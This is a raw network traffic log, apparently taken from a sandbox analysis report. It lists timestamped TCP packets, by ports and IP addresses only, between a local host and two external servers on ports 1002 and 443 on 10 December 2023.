Dec 10, 2023 17:48:10.266207933 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:10.266216040 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:10.266279936 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:10.266356945 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.266392946 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.266453981 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.266474009 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:10.266542912 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.266612053 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:10.266616106 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:10.266623974 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:10.266650915 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:10.266678095 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:10.266683102 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:10.266691923 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:10.266705036 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:10.266727924 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:10.266730070 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.266736984 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:10.266748905 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:10.266782999 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:10.266813993 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:10.266839027 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:10.266849995 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:10.266854048 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:10.266863108 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:10.266866922 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:10.266870975 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:10.266892910 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.266901970 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:10.266906023 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:10.266936064 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.266940117 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:10.266959906 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:10.266964912 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:10.266969919 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:10.266982079 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:10.266985893 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:10.267007113 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.267045975 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:10.267050982 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:10.267060041 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:10.267082930 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:10.267112970 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.267180920 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:10.267184973 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:10.267200947 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.267287970 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:10.267359018 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:10.267359018 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:10.267496109 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.267530918 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.267550945 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:10.267633915 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:10.267746925 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.267760038 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.267801046 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:10.268064022 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.268124104 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:10.268168926 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.268213034 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:10.268248081 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:10.268416882 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.268429995 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.268471956 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:10.268472910 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.268516064 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.268583059 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:10.268659115 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:10.268811941 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.268862009 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:10.322664022 CET	1002	49719	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.322701931 CET	1002	49719	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.322746038 CET	1002	49719	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.322778940 CET	1002	49719	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.322778940 CET	49719	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:10.472779036 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:10.472841978 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:10.538486958 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.538592100 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.538625002 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.538650990 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:10.538702011 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:10.538899899 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.539624929 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.540056944 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.540154934 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.540245056 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.540436029 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.540648937 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.541071892 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.541266918 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.541433096 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.541466951 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.541641951 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.541918039 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.542052031 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.542346001 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.542635918 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.542821884 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.543026924 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.543118954 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.543255091 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.543438911 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.543685913 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.543725014 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.543906927 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.544419050 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:10.544646978 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:10.544765949 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:10.544857025 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:10.544950008 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:10.545028925 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:10.545104980 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:10.545175076 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:10.545245886 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:10.545317888 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:10.545397043 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:10.545478106 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:10.545548916 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:10.545638084 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:10.545700073 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:10.582171917 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.582288027 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:10.599805117 CET	1002	49719	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.641949892 CET	1002	49719	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.641988993 CET	1002	49719	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.642086029 CET	49719	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:10.642520905 CET	49719	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:10.811172962 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.811306000 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:10.816673994 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.816709042 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.816744089 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:10.816760063 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:10.816766977 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:10.816953897 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.816987991 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.817138910 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:10.817183971 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.817218065 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.817254066 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:10.817269087 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:10.817332029 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.817357063 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:10.817365885 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.817394018 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:10.817457914 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.817471027 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:10.817548990 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:10.817620993 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:10.817647934 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.817708969 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:10.817800045 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.817848921 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:10.817871094 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.817925930 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:10.817977905 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.818001986 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:10.818032026 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:10.818051100 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.818082094 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.818094015 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:10.818104982 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:10.818129063 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:10.818195105 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:10.818232059 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.818288088 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:10.818305016 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.818336964 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.818353891 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:10.818377018 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:10.818387985 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:10.818440914 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.818465948 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:10.818481922 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:10.818550110 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:10.904748917 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:10.904839993 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:10.910116911 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.910226107 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:10.918636084 CET	1002	49719	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:10.918704033 CET	49719	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:10.918998003 CET	1002	49719	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.084095001 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.084216118 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.091442108 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.091535091 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.091624975 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.091701984 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.091861010 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.091892958 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.091917038 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.091941118 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.092020035 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.092051983 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.092080116 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.092099905 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.092139959 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.092189074 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.092220068 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.092252016 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.092281103 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.092308044 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.092366934 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.092398882 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.092432022 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.092446089 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.092473030 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.092544079 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.093214035 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.093286037 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.093565941 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.093622923 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.093947887 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.094003916 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.094043016 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.094104052 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.094170094 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.094432116 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.094464064 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.094487906 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.094512939 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.094583988 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.094990969 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.095026016 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.095043898 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.095074892 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.095133066 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.095325947 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.095381975 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.095554113 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.095602036 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.095844984 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.095876932 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.095896959 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.095926046 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.095998049 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.096272945 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.096324921 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.096975088 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.097007036 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.097028017 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.097049952 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.097925901 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.097976923 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.099114895 CET	49719	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.099386930 CET	49719	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.099795103 CET	49719	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.100131035 CET	49719	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.100421906 CET	49719	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.195447922 CET	1002	49719	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.222625017 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.222767115 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.356841087 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.356928110 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.363949060 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.364017963 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.364335060 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.364393950 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.364532948 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.364607096 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.364653111 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.364712000 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.364919901 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.364976883 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.364978075 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.365031958 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.365108013 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:11.365139961 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:11.365209103 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:11.365885973 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.365920067 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.365947962 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.365952969 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.365979910 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.366184950 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.366197109 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:11.366209984 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:11.366230965 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:11.366280079 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:11.366292953 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:11.366318941 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:11.366343021 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:11.366353989 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:11.366385937 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:11.366385937 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:11.366399050 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:11.366419077 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:11.366456985 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:11.366492033 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:11.366492033 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:11.366524935 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:11.366555929 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:11.366576910 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:11.366597891 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:11.366597891 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:11.366611958 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:11.366653919 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:11.366679907 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:11.366694927 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:11.366715908 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:11.366739988 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:11.366739988 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:11.366767883 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:11.366795063 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:11.366862059 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.366895914 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.366930962 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.367027044 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.367054939 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.367104053 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.367253065 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.367302895 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.367331028 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.367378950 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.367402077 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.367407084 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.367459059 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.367712975 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.367747068 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.367772102 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.367922068 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.367974043 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.368108034 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.368160009 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.368511915 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.368575096 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.368665934 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.368735075 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.368905067 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.368973017 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:11.369365931 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:11.369399071 CET	1002	49716	195.62.52.164	192.168.2.6
